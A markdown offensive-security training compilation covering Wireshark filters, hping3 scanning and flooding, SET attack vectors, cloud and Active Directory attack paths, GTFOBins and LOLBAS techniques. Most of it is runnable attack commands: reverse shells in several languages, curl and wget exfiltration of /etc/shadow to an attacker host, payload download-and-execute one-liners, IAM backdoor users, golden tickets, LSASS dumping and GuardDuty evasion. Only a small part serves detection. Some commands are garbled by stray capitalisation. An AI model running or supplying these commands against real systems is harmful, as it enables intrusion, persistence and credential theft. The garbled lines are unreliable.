<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# NERF Deep Training: Network Security, Protocol Analysis, and Attack Paths

> Compiled from: Wireshark, hping3, SET, Hacking the Cloud, The Hacker Recipes, GTFOBins, MITRE ATT&CK/D3FEND, LOLBAS
> Training date: 2026-03-14
---
## 1. Protocol Analysis with Wireshark

### 1.1 Display Filter Engine Architecture

The Wireshark display filter system has three components:
- **Field Type System** (`epan/ftypes/`): FT_UINT8, FT_IPv4, FT_STRING, etc.
- **Parser** (`epan/dfilter/`): Scanner (lex) -> Grammar (lemon) -> Semantic Check -> DFVM Bytecode
- **DFVM Engine**: Display Filter Virtual Machine executes bytecodes against proto_trees

The DFVM uses a register-based architecture with opcodes: READ_TREE, PUT_FVALUE, ANY_EQ, IF_TRUE_GOTO, IF_FALSE_GOTO, RETURN. Bytecodes can only branch forward (no infinite loops possible).

### 1.2 Display Filter Reference

#### Comparison Operators
```
==  eq      Equal
!=  ne      Not equal
>   gt      Greater than
<   lt      Less than
>=  ge      Greater than or equal
<=  le      Less than or equal
contains    Byte/string search within field
matches     Perl regex match (requires libpcre)
```

#### Logical Operators
```
&&  and     Logical AND
||  or      Logical OR
!   not     Logical NOT
```

#### Layer Selection (Wireshark 4.0+)
```
ip.src#1          First (outer) IP source
ip.src#2          Second (inner) IP source (tunneled)
```

#### Critical Display Filters for Security Analysis

**TCP Analysis:**
```
tcp.flags.syn == 1 && tcp.flags.ack == 0     # SYN scan detection
tcp.flags == 0x002                            # SYN only
tcp.flags == 0x012                            # SYN+ACK
tcp.flags == 0x014                            # RST+ACK
tcp.flags.fin == 1                            # FIN scan
tcp.flags == 0x029                            # XMAS scan (FIN+PSH+URG)
tcp.flags == 0x000                            # NULL scan
tcp.window_size == 0 && tcp.flags.reset != 1  # TCP window exhaustion
tcp.analysis.retransmission                   # Retransmissions
tcp.analysis.duplicate_ack                    # Duplicate ACKs
tcp.analysis.zero_window                      # Zero window
tcp.analysis.reset                            # Connection resets
tcp.stream eq 5                               # Follow specific stream
```

**DNS Analysis:**
```
dns                                           # All DNS traffic
dns.qry.type == 1                             # A records
dns.qry.type == 28                            # AAAA records
dns.qry.type == 15                            # MX records
dns.qry.type == 16                            # TXT records (exfil vector)
dns.qry.name contains "evil"                  # Domain name search
dns.resp.len > 512                            # Large DNS responses (tunneling indicator)
dns.flags.response == 0                       # DNS queries only
dns.flags.rcode != 0                          # DNS errors
dns.qry.name matches "^[a-z0-9]{32,}"        # Encoded subdomain (C2/exfil)
```

**HTTP/HTTPS Analysis:**
```
http.request.method == "POST"                 # POST requests
http.request.uri contains "/admin"            # Admin page access
http.response.code == 401                     # Auth failures
http.response.code >= 500                     # Server errors
http.user_agent contains "sqlmap"             # Tool detection
http.content_type contains "application/x-www-form-urlencoded"
tls.handshake.type == 1                       # TLS Client Hello
tls.handshake.type == 2                       # TLS Server Hello
tls.handshake.extensions.supported_versions   # TLS version negotiation
tls.handshake.ciphersuite                     # Cipher suite analysis
ssl.record.content_type == 21                 # TLS Alert
tls.handshake.extensions.server_name          # SNI inspection
```

**Network Reconnaissance Detection:**
```
icmp.type == 8                                # Echo requests (ping sweep)
icmp.type == 3 && icmp.code == 3              # Port unreachable (UDP scan)
arp.opcode == 1                               # ARP requests (host discovery)
ip.ttl < 5                                    # Low TTL (traceroute)
tcp.flags == 0x002 && tcp.window_size == 1024 # nmap SYN scan signature
```

**Credential/Sensitive Data:**
```
ftp.request.command == "PASS"                 # FTP passwords
http.authorization                            # HTTP auth headers
smtp.req.parameter contains "@"               # Email addresses
telnet                                        # Cleartext telnet
pop.request.command == "PASS"                 # POP3 passwords
imap.request contains "LOGIN"                 # IMAP login
```

**Advanced Slice Operations:**
```
eth.addr[0:3] == 00:06:5B                     # MAC vendor filtering
tcp.payload[0:4] == "GET "                    # Payload inspection
ip.src[0:2] == c0:a8                          # 192.168.x.x range
```

#### The Display Filter Negation Gotcha
**WRONG:** `ip.addr != 10.43.54.65` (matches if ANY ip.addr field is not equal)
**CORRECT:** `!(ip.addr == 10.43.54.65)` (excludes packets where ip.addr equals the value)

### 1.3 Capture Filter Reference (BPF Syntax)

Capture filters use libpcap/BPF syntax and are applied BEFORE packet capture (cannot be changed during capture).

#### Primitives and Qualifiers
```
host 192.168.1.1                              # Traffic to/from host
src host 10.0.0.1                             # Source only
dst host 10.0.0.2                             # Destination only
net 192.168.0.0/16                            # Network range
net 192.168.0.0 mask 255.255.0.0              # Alternative notation
port 80                                       # Any protocol on port
tcp port 443                                  # TCP-specific port
udp port 53                                   # UDP-specific port
portrange 1-1024                              # Port range
```

#### Protocol Filters
```
ip                                            # IPv4 only
ip6                                           # IPv6 only
tcp                                           # TCP only
udp                                           # UDP only
icmp                                          # ICMP only
arp                                           # ARP only
ether proto 0x888e                            # EAPOL (802.1X)
vlan                                          # VLAN tagged traffic
```

#### Byte-Level Inspection
```
tcp[tcpflags] & (tcp-syn) != 0               # SYN packets
tcp[tcpflags] & (tcp-syn|tcp-ack) != 0       # SYN or ACK
tcp[tcpflags] == tcp-syn                      # SYN only (no other flags)
icmp[icmptype] == icmp-echo                   # ICMP echo requests
tcp[12:1] & 0xf0 >> 2                        # TCP header length
ip[6:2] & 0x1fff != 0                        # Fragmented packets
```

#### Security-Focused Capture Filters
```
# Exclude noise, capture interesting traffic
not broadcast and not multicast
not port 53 and not port 22                   # Exclude DNS and SSH
host 10.0.0.0/8 and not net 10.0.0.0/24      # Internal but not local subnet
tcp[tcpflags] & (tcp-syn) != 0 and not src net 10.0.0.0/8  # External SYN
```
---
## 2. Packet Crafting with hping3

### 2.1 Core Capabilities
Hping3 sends custom TCP/IP packets with arbitrary headers, supports TCP/UDP/ICMP/RAW-IP modes, and includes a Tcl scripting engine.

### 2.2 Protocol Modes
```
hping3 -0 target    # RAW IP mode
hping3 -1 target    # ICMP mode (default: echo request)
hping3 -2 target    # UDP mode
hping3 target       # TCP mode (default, port 0, no flags, win 64)
```

### 2.3 TCP Flag Manipulation
```
-S    SYN         -F    FIN
-R    RST         -P    PUSH
-A    ACK         -U    URG
-X    XMAS (0x40) -Y    YMAS (0x80)
```

### 2.4 Offensive Packet Crafting Commands

#### Port Scanning
```bash
# SYN scan (stealth scan)
hping3 --scan 1-1000 -S target.com

# SYN scan with known ports
hping3 --scan 'known' -S target.com

# SYN scan excluding specific ports
hping3 --scan '1-1024,!known' -S target.com

# FIN scan (bypass stateless firewalls)
hping3 --scan 1-1000 -F target.com

# XMAS scan
hping3 -F -P -U -p 80 target.com

# NULL scan (no flags)
hping3 -p 80 target.com

# ACK scan (map firewall rules)
hping3 -A -p 80 target.com

# UDP scan
hping3 -2 --scan 1-1000 target.com
```

#### Idle/Spoofed Scan (Original antirez technique)
```bash
# Step 1: Monitor zombie host IP ID increments
hping3 zombie_host -r

# Step 2: Send spoofed SYN to target, source = zombie
hping3 target -a zombie_host -S -p 80

# Step 3: If zombie IP ID increments by >1, port is OPEN
# If zombie IP ID increments by 1, port is CLOSED
```

#### Firewall Testing
```bash
# Test if firewall allows fragmented packets
hping3 -S -f -p 80 target.com

# Test with specific MTU
hping3 -S -m 8 -p 80 target.com

# Test firewall with bad TCP checksum
hping3 -S -b -p 80 target.com

# Test firewall with specific TTL
hping3 -S -t 1 -p 80 target.com

# ACK probe (stateless firewalls pass ACK)
hping3 -A -p 80 target.com

# Test with specific TCP window size
hping3 -S -w 512 -p 80 target.com
```

#### OS Fingerprinting and Stack Auditing
```bash
# TCP sequence number analysis (predictability)
hping3 target --seqnum -p 139 -S -i u1

# TCP timestamp analysis (uptime estimation)
hping3 -S -p 80 --tcp-timestamp target.com

# IP ID analysis (incremental = predictable)
hping3 -S -p 80 -r target.com
```

#### Traceroute Variants
```bash
# TCP traceroute (bypasses ICMP-blocking firewalls)
hping3 target -S -p 80 --traceroute

# UDP traceroute
hping3 -2 target -p 53 --traceroute

# ICMP traceroute
hping3 -1 target --traceroute

# Monitor specific hop
hping3 target --traceroute --ttl 5 --tr-keep-ttl
```

#### IP Spoofing and Evasion
```bash
# Spoof source IP
hping3 -S -a spoofed_ip -p 80 target.com

# Random source addresses (stress firewall state tables)
hping3 -S --rand-source -p 80 target.com

# Random destination addresses
hping3 -S --rand-dest -p 80 10.0.0.x

# Set specific IP ID
hping3 -S -N 31337 -p 80 target.com

# Set TOS field
hping3 -S -o 0x10 -p 80 target.com

# Record route
hping3 -S -G -p 80 target.com
```

#### File Transfer Through Firewalls
```bash
# Sender (through DNS port - often allowed)
hping3 target_b --udp -p 53 -d 100 --sign TRANSFER --safe --file /etc/passwd

# Receiver
hping3 target_a --listen TRANSFER --safe --icmp
```

#### Flood / DoS Testing
```bash
# SYN flood (authorized testing only)
hping3 -S --flood -p 80 target.com

# SYN flood with random sources
hping3 -S --flood --rand-source -p 80 target.com

# ICMP flood
hping3 -1 --flood target.com

# Smurf-style (spoof victim, send to broadcast)
hping3 -1 -a victim_ip broadcast_addr --flood

# Land attack (source = destination)
hping3 -S -a target -p 80 target
```

### 2.5 Detection Signatures for hping3 Activity

```yaml
# Sigma rule: hping3 SYN scan detection
title: Potential hping3 SYN Scan Activity
id: 8a2f4e71-3c9d-4b5a-9e12-7f8d6c4a3b21
status: experimental
description: Detects rapid SYN packets with fixed window size of 64 characteristic of hping3
logsource:
Category: network_connection
Product: linux
detection:
Selection:
Tcp.flags: 'S'
Tcp.window_size: 64
Timeframe: 5s
Condition: selection | count() > 20
falsepositives:
  - Legitimate network testing tools
level: medium
tags:
  - attack.t1046
  - attack.discovery
```
---
## 3. Social Engineering Toolkit (SET) Attack Vectors

### 3.1 Attack Module Architecture

SET organizes attacks into the following categories:

#### Social Engineering Attacks
1. **Spear-Phishing Attack Vectors**
   - Mass email attack with malicious file attachments
   - FileFormat payload creation (PDF, DOC, RTF exploits)
   - Custom social engineering templates
   - Leverages Sendmail for email spoofing

2. **Website Attack Vectors**
   - **Java Applet Attack**: Spoofed Java certificate delivers Metasploit payload
   - **Metasploit Browser Exploit**: iframe-based browser exploitation
   - **Credential Harvester**: Clone websites, capture POSTed credentials
   - **Tabnabbing**: Replace tab content when user switches tabs
   - **Web-Jacking**: iframe replacement to redirect to malicious content
   - **Multi-Attack**: Combine multiple web attack vectors simultaneously
   - **HTA Attack**: PowerShell injection via HTA files (Windows browsers)

3. **Infectious Media Generator**
   - Creates autorun.inf with Metasploit payloads
   - USB/CD/DVD delivery vectors
   - File-format exploits or standalone executables

4. **Mass Mailer Attack**
   - Bulk phishing email delivery
   - Template-based campaign management

5. **Arduino-Based Attack Vector**
   - Teensy USB HID device programming
   - Bypass autorun restrictions (registers as keyboard)
   - PowerShell downloaders, WSCRIPT attacks
   - Direct shellcode injection via HID
   - MSBuild compile-to-memory attacks
   - X10 controller sniffing/jamming

6. **Wireless Access Point Attack**
   - Rogue AP creation (AirBase-NG, AirMon-NG)
   - DHCP server + DNS spoofing
   - Redirects all victim traffic to attacker
   - Chains with any other SET attack vector

7. **QRCode Generator Attack Vector**
   - Generates QR codes pointing to malicious URLs

8. **PowerShell Attack Vectors**
   - Alphanumeric shellcode injector
   - PowerShell reverse/bind shells
   - SAM database dumping

#### Penetration Testing (Fast-Track)
- Microsoft SQL bruter (scan, brute-force, deploy hex-encoded binaries)
- Custom exploits (MS08-067, MySQL auth bypass, F5 root bypass)
- SCCM attack vector
- Dell DRAC/Chassis default checker
- RID enumeration user attack
- PSEXEC PowerShell injection

#### Payload Types
- Meterpreter memory injection (PowerShell)
- Multi-payload injection
- SET Interactive Shell
- HTTP Reverse Shell (AES encrypted)
- RATTE HTTP tunneling payload
- ShellCodeExec alphanum shellcode
- Custom executable import

### 3.2 Detection Opportunities (ATT&CK Mapping)

| SET Vector | ATT&CK Technique | Detection |
|-----------|-------------------|-----------|
| Spear-Phishing | T1566.001 (Attachment) | Email gateway, file hash, sandboxing |
| Credential Harvester | T1056.003 (Web Portal Capture) | SSL cert mismatch, URL analysis |
| HTA Attack | T1218.005 (Mshta) | Process monitoring mshta.exe |
| PowerShell Injection | T1059.001 (PowerShell) | Script block logging, AMSI |
| Wireless AP | T1557.002 (ARP Poisoning) | WIDS, rogue AP detection |
| USB/HID | T1091 (Replication via Removable Media) | USB device whitelisting |
| Tabnabbing | T1185 (Browser Session Hijacking) | Content Security Policy |
---
## 4. Cloud Attack Paths

### 4.1 AWS Attack Techniques

#### Initial Access and Enumeration
```bash
# Identify account ID from access keys
aws sts get-caller-identity

# Enumerate IAM permissions via brute force
# Use enumerate-iam or similar tooling
for action in $(cat aws-actions.txt); do
Aws $action 2>/dev/null && echo "ALLOWED: $action"
done

# Get account ID from S3 bucket
# Bucket policy error messages leak account IDs

# Enumerate IAM users and roles
aws iam list-users
aws iam list-roles
aws iam list-groups

# Loot public EBS snapshots
aws ec2 describe-snapshots --owner-ids self --restorable-by-user-ids all
```

#### EC2 Metadata SSRF (T1552.005)
```bash
# IMDSv1 - Direct credential theft via SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Returns AccessKeyId, SecretAccessKey, Token

# Mitigation: Enforce IMDSv2 (requires token header)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
Http://169.254.169.254/latest/meta-data/
```

#### IAM Privilege Escalation Paths
| Permission | Escalation Method |
|-----------|-------------------|
| `iam:CreatePolicyVersion` | Create new policy version with admin access |
| `iam:AttachUserPolicy` | Attach AdministratorAccess to controlled user |
| `iam:AttachRolePolicy` | Attach AdministratorAccess to accessible role |
| `iam:AddUserToGroup` | Add user to admin group |
| `iam:CreateAccessKey` | Generate keys for higher-privileged user |
| `iam:CreateLoginProfile` | Create console password for target user |
| `iam:PassRole` + `ec2:RunInstances` | Launch instance with privileged role |
| `iam:PassRole` + `lambda:CreateFunction` | Create Lambda with privileged role |
| `iam:PassRole` + `cloudformation:CreateStack` | Deploy stack with privileged role |
| `iam:PassRole` + `glue:CreateDevEndpoint` | SSH to Glue with privileged role |
| `sts:AssumeRole` | Assume cross-account or overly permissive role |
| `iam:DeleteRolePermissionsBoundary` | Remove permissions boundary |
| `iam:DeleteRolePolicy` | Remove explicit deny inline policy |

#### AWS Post-Exploitation Persistence
```bash
# Lambda persistence - backdoor existing function
aws lambda update-function-code --function-name target \
  --zip-file fileb://backdoored.zip

# User data script persistence
aws ec2 modify-instance-attribute --instance-id i-xxx \
  --user-data file://backdoor-script.txt

# IAM persistence - create backdoor user
aws iam create-user --user-name backdoor
aws iam attach-user-policy --user-name backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# S3 ACL persistence - grant cross-account access
aws s3api put-bucket-acl --bucket target-bucket \
  --grant-full-control id=attacker-canonical-id

# Role chain juggling - maintain access via role assumption chain
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/RoleA
# Then assume RoleB, then RoleA again (indefinite refresh)

# Survive access key deletion via STS GetFederationToken
aws sts get-federation-token --name backdoor --policy '{...}'
# Federation token survives IAM key revocation

# Rogue OIDC identity provider
aws iam create-open-id-connect-provider \
  --url https://attacker.com --thumbprint-list xxx

# IAM Roles Anywhere persistence
# Register external CA to issue certs for role assumption
```

#### AWS Detection Evasion
```bash
# Steal keys without CloudTrail detection (pre-IMDSv2)
# Access metadata from within EC2 - no API call logged

# Modify GuardDuty configuration
aws guardduty update-detector --detector-id xxx \
  --finding-publishing-frequency SIX_HOURS

# Use VPC endpoints to avoid GuardDuty Tor detection
```

### 4.2 Azure Attack Techniques

```bash
# Enumerate email addresses (validate via autodiscover)
# Azure AD exposes user existence via timing/error differences

# Managed identity abuse - from compromised VM
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Run Command abuse - execute on VMs with contributor access
az vm run-command invoke -g ResourceGroup -n VMName \
  --command-id RunShellScript --scripts "whoami"

# Anonymous blob access enumeration
az storage blob list --container-name public --account-name target \
  --auth-mode anonymous

# Soft-deleted blobs recovery
az storage blob undelete --container-name target --name secret.txt
```

### 4.3 GCP Attack Techniques

```bash
# Metadata service credential theft
curl -H "Metadata-Flavor: Google" \
Http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Enumerate service account permissions
for perm in $(cat gcp-permissions.txt); do
Gcloud projects test-iam-permissions PROJECT_ID --permissions=$perm
done

# GCP IAM privilege escalation
# setIamPolicy on project/org = full control
gcloud projects set-iam-policy PROJECT_ID policy.json

# GCP bucket enumeration
gsutil ls gs://target-bucket/

# Tag bindings privilege escalation
# Modify tag bindings to change effective IAM policy
```
---
## 5. Active Directory Attack Methodology

### 5.1 Kerberos Attacks

#### Kerberoasting (T1558.003)
Request service tickets for accounts with SPNs, crack offline.
```bash
# UNIX - Impacket
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $DC 'DOMAIN/USER:Password'
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LM:NT' -dc-ip $DC 'DOMAIN/USER'

# NetExec
netexec ldap $DC -u $USER -p $PASS --kerberoasting output.txt --kdcHost $DC

# Request RC4 encrypted ticket (faster to crack)
pypykatz kerberos spnroast -d $DOMAIN -t $TARGET -e 23 'kerberos+password://DOMAIN\user:Pass@DC'

# Windows - Rubeus
Rubeus.exe kerberoast /outfile:kerberoastables.txt

# Crack
hashcat -m 13100 kerberoastables.txt wordlist.txt
john --format=krb5tgs --wordlist=wordlist.txt kerberoastables.txt
```

#### AS-REP Roasting (T1558.004)
Target accounts with "Do not require Kerberos pre-authentication" set.
```bash
# UNIX - Impacket
GetNPUsers.py -dc-ip $DC -usersfile users.txt -outputfile asrep.txt 'DOMAIN/'

# Windows - Rubeus
Rubeus.exe asreproast /outfile:asrep.txt

# Crack
hashcat -m 18200 asrep.txt wordlist.txt
```

#### Kerberos Delegation Abuse

**Unconstrained Delegation:**
```bash
# Find unconstrained delegation hosts
Get-ADComputer -Filter {TrustedForDelegation -eq $true}

# Coerce authentication to unconstrained delegation host
# Captured TGT can be used to impersonate any authenticating principal
# Combine with PrinterBug/PetitPotam to coerce DC authentication
```

**Constrained Delegation:**
```bash
# S4U2Self + S4U2Proxy
getST.py -spn 'cifs/target.domain.com' -impersonate Administrator \
  'DOMAIN/service_account:Password' -dc-ip $DC

# With protocol transition (any service)
getST.py -spn 'cifs/target.domain.com' -impersonate Administrator \
  -self 'DOMAIN/service_account:Password' -dc-ip $DC
```

**Resource-Based Constrained Delegation (RBCD):**
```bash
# Add msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires write access to target computer object
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' \
  -dc-ip $DC 'DOMAIN/user:Password' -action write

# Request ticket
getST.py -spn 'cifs/target.domain.com' -impersonate Administrator \
  'DOMAIN/CONTROLLED$:Password' -dc-ip $DC
```

**Bronze Bit (CVE-2020-17049):**
```bash
# Bypass constrained delegation "forwardable" flag check
getST.py -spn 'cifs/target' -impersonate Administrator \
  -force-forwardable 'DOMAIN/service:Password'
```

#### Forged Tickets

**Golden Ticket** (requires krbtgt hash):
```bash
# Impacket
ticketer.py -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID \
  -domain $DOMAIN Administrator

# Mimikatz
kerberos::golden /user:Administrator /domain:$DOMAIN \
  /sid:$SID /krbtgt:$HASH /ptt
```

**Silver Ticket** (requires service account hash):
```bash
ticketer.py -nthash $SERVICE_HASH -domain-sid $DOMAIN_SID \
  -domain $DOMAIN -spn cifs/target.domain.com Administrator
```

**Diamond Ticket** (modify legitimate TGT - stealthier):
```bash
ticketer.py -request -user user -password 'Pass' \
  -nthash $KRBTGT_HASH -domain $DOMAIN -domain-sid $SID \
  -impersonate Administrator
```

**Sapphire Ticket** (S4U2Self + Diamond - stealthiest):
Uses legitimate PAC from S4U2Self, modifies target user.

#### sAMAccountName Spoofing (CVE-2021-42278/42287)
```bash
# Create machine account, rename to DC name (without $), request TGT, rename back
addcomputer.py -computer-name 'FAKE' -computer-pass 'Pass' 'DOMAIN/user:Pass'
renameMachine.py -current-name 'FAKE$' -new-name 'DC' 'DOMAIN/user:Pass'
getTGT.py 'DOMAIN/DC:Pass'
renameMachine.py -current-name 'DC' -new-name 'FAKE$' 'DOMAIN/user:Pass'
# Use TGT to get ST for DC via S4U2Self
getST.py -self -impersonate Administrator -spn 'cifs/dc.domain.com' \
  -k -no-pass 'DOMAIN/DC'
```

#### Shadow Credentials
```bash
# Add Key Credential to msDS-KeyCredentialLink
pywhisker.py -d $DOMAIN -u $USER -p $PASS --target $TARGET \
  --action add --dc-ip $DC

# Use certificate to authenticate
gettgtpkinit.py -cert-pfx shadow.pfx $DOMAIN/$TARGET shadow.ccache
```

### 5.2 NTLM Attacks

#### NTLM Relay (T1557.001)
```bash
# Start relay server
ntlmrelayx.py -t ldap://dc.domain.com -smb2support

# Coerce authentication (PetitPotam)
python3 PetitPotam.py -d $DOMAIN -u $USER -p $PASS \
Attacker_ip dc.domain.com

# Relay to LDAP for RBCD
ntlmrelayx.py -t ldap://dc.domain.com --delegate-access \
  --escalate-user controlled_account

# Relay to ADCS web enrollment (ESC8)
ntlmrelayx.py -t http://ca.domain.com/certsrv/certfnsh.asp \
  --adcs --template DomainController
```

**Relay Mitigation Matrix:**
- SMB Signing: Required on DCs by default, not on workstations
- LDAP Signing: "most requirements" model (both sides must support)
- EPA (Extended Protection for Authentication): Channel binding for HTTPS/LDAPS
- MIC (Message Integrity Code): Protects NTLM message integrity (NTLMv2 only)
- CVE-2019-1040: Drop MIC attack (patch available)

#### Pass the Hash (T1550.002)
```bash
# Impacket
psexec.py -hashes LM:NT 'DOMAIN/user@target'
wmiexec.py -hashes LM:NT 'DOMAIN/user@target'
smbexec.py -hashes LM:NT 'DOMAIN/user@target'
atexec.py -hashes LM:NT 'DOMAIN/user@target' 'command'

# NetExec
netexec smb target -u user -H NT_HASH
netexec smb target -u user -H NT_HASH -x 'whoami'
```

### 5.3 AD CS (Certificate Services) Attacks

#### ESC1 - Misconfigured Certificate Templates
Conditions: Template allows client authentication, allows requester to specify SAN, low-privileged enrollment.
```bash
# Find vulnerable templates
certipy find -u user@domain -p Pass -dc-ip $DC -vulnerable

# Request cert with arbitrary SAN
certipy req -u user@domain -p Pass -ca 'CA-NAME' \
  -template VulnTemplate -upn administrator@domain

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip $DC
```

#### ESC2 - Any Purpose or Subordinate CA Templates
Template with EKU "Any Purpose" (OID 2.5.29.37.0) or no EKU allows any usage.

#### ESC3 - Enrollment Agent Templates
Use enrollment agent certificate to request certs on behalf of other users.

#### ESC4 - Vulnerable Template ACLs
Write access to template object allows modifying template to ESC1 conditions.

#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 Flag
CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set, allowing any requester to specify SAN.

#### ESC7 - Vulnerable CA ACLs
ManageCA/ManageCertificates permissions on CA allow enabling ESC6 flag.

#### ESC8 - NTLM Relay to HTTP Enrollment
Web enrollment endpoint accepts NTLM authentication without EPA.
```bash
ntlmrelayx.py -t http://ca.domain.com/certsrv/certfnsh.asp \
  --adcs --template DomainController
```

#### ESC9 - No Security Extension
Template with CT_FLAG_NO_SECURITY_EXTENSION: CA won't include SID in certificate, enabling weak mapping exploitation.

#### ESC10 - Weak Certificate Mapping
StrongCertificateBindingEnforcement=0: No strong mapping check allows UPN spoofing.

#### ESC14 - Weak Explicit Mapping
Abuse altSecurityIdentities with weak mapping types.

#### Golden Certificate (Persistence)
Steal CA private key to issue arbitrary certificates indefinitely.
```bash
# Extract CA private key
certipy ca -backup -u admin@domain -p Pass -ca 'CA-NAME'

# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn administrator@domain -subject 'CN=Admin'
```

### 5.4 Credential Dumping

```bash
# DCSync (T1003.006) - requires Replicating Directory Changes + All
secretsdump.py -just-dc 'DOMAIN/user:Pass@dc.domain.com'
secretsdump.py -just-dc-ntlm 'DOMAIN/user:Pass@dc.domain.com'

# LSASS dump (T1003.001)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz "sekurlsa::logonpasswords"
pypykatz lsa minidump lsass.dmp

# SAM + LSA Secrets (T1003.002, T1003.004)
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# NTDS.dit extraction
ntdsutil "activate instance ntds" "ifm" "create full C:\ntds" quit quit
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# DPAPI secrets
dpapi.py masterkey -file masterkey -sid $SID -password 'Pass'

# Group Policy Preferences (cpassword)
Get-GPPPassword  # PowerSploit
gpp-decrypt $CPASSWORD
```
---
## 6. GTFOBins - Linux Binary Exploitation

### 6.1 Categories

GTFOBins documents 478 binaries across these exploitation contexts:
- **Shell**: Spawn interactive shell
- **File Read**: Read arbitrary files
- **File Write**: Write arbitrary files
- **Download**: Fetch files from remote
- **Upload**: Exfiltrate files
- **Reverse Shell**: Connect back to attacker
- **Bind Shell**: Listen for attacker connection
- **SUID**: Exploit when binary has SUID bit
- **Sudo**: Exploit when binary can be run via sudo
- **Capabilities**: Exploit Linux capabilities (CAP_SETUID, etc.)

### 6.2 Most Critical Binaries and Techniques

#### Shell Escalation via SUID/Sudo

```bash
# find (SUID/Sudo)
find . -exec /bin/sh \; -quit
find . -exec /bin/sh -p \; -quit    # SUID (preserve privileges)

# python (SUID/Sudo/Capabilities)
python -c 'import os; os.execl("/bin/sh", "sh")'
python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'  # CAP_SETUID

# perl (Sudo/Capabilities)
perl -e 'exec "/bin/sh"'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'  # CAP_SETUID

# vim (Sudo)
vim -c ':!/bin/sh'

# less (SUID/Sudo)
less /etc/hosts
!/bin/sh

# env (SUID/Sudo)
env /bin/sh

# tar (SUID/Sudo)
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# docker (group membership = root)
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh

# nmap (older versions, SUID)
nmap --interactive
!/bin/sh

# php (Sudo/SUID)
php -r 'system("/bin/sh -i");'
php -r 'posix_setuid(0); system("/bin/sh -i");'  # CAP_SETUID

# ruby (Sudo/Capabilities)
ruby -e 'exec "/bin/sh"'
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'  # CAP_SETUID

# node (Sudo/SUID/Capabilities)
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0,1,2]})'

# ssh (Sudo)
ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

# wget (SUID/Sudo)
echo -e '#!/bin/sh\n/bin/sh 1>&0' >/tmp/x && chmod +x /tmp/x
wget --use-askpass=/tmp/x 0

# bash (SUID)
bash -p    # Preserve effective UID
```

#### Reverse Shells

```bash
# Python reverse shell
python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

# Perl reverse shell
perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# PHP reverse shell
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i 0<&3 1>&3 2>&3");'

# Node.js reverse shell
node -e 'sh=require("child_process").spawn("/bin/sh");require("net").connect(PORT,"ATTACKER",function(){this.pipe(sh.stdin);sh.stdout.pipe(this);sh.stderr.pipe(this);})'

# Ruby reverse shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER",PORT);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# Bash reverse shell (no external tools)
bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'
```

#### File Exfiltration

```bash
# curl upload
curl -X POST --data-binary @/etc/shadow http://ATTACKER:PORT

# wget upload
wget --post-file=/etc/shadow http://ATTACKER:PORT

# bash file read (SUID)
bash -p -c 'echo "$(</etc/shadow)"'

# curl file read
curl file:///etc/shadow

# python file read
python -c 'print(open("/etc/shadow").read())'
```
---
## 7. LOLBAS - Windows Living Off The Land

### 7.1 Most Abused Windows Binaries

#### Download and Execute
```cmd
:: certutil - download + decode
certutil -urlcache -split -f http://ATTACKER/payload.exe C:\temp\payload.exe
certutil -decode encoded.txt decoded.exe

:: bitsadmin - download
bitsadmin /transfer job /download http://ATTACKER/payload.exe C:\temp\payload.exe

:: powershell - download + execute
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://ATTACKER/payload.exe','C:\temp\p.exe')"

:: mshta - execute HTA remotely
mshta http://ATTACKER/payload.hta
mshta vbscript:CreateObject("Shell.Application").Run("cmd.exe")(window.close)
```

#### Application Whitelisting Bypass
```cmd
:: msbuild - compile and execute inline C#
msbuild payload.csproj

:: regsvr32 - execute SCT remotely (Squiblydoo)
regsvr32 /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll

:: rundll32 - execute DLLs and COM objects
rundll32 comsvcs.dll,MiniDump PID C:\temp\lsass.dmp full

:: cmstp - execute INF file
cmstp.exe /s /ns C:\path\payload.inf

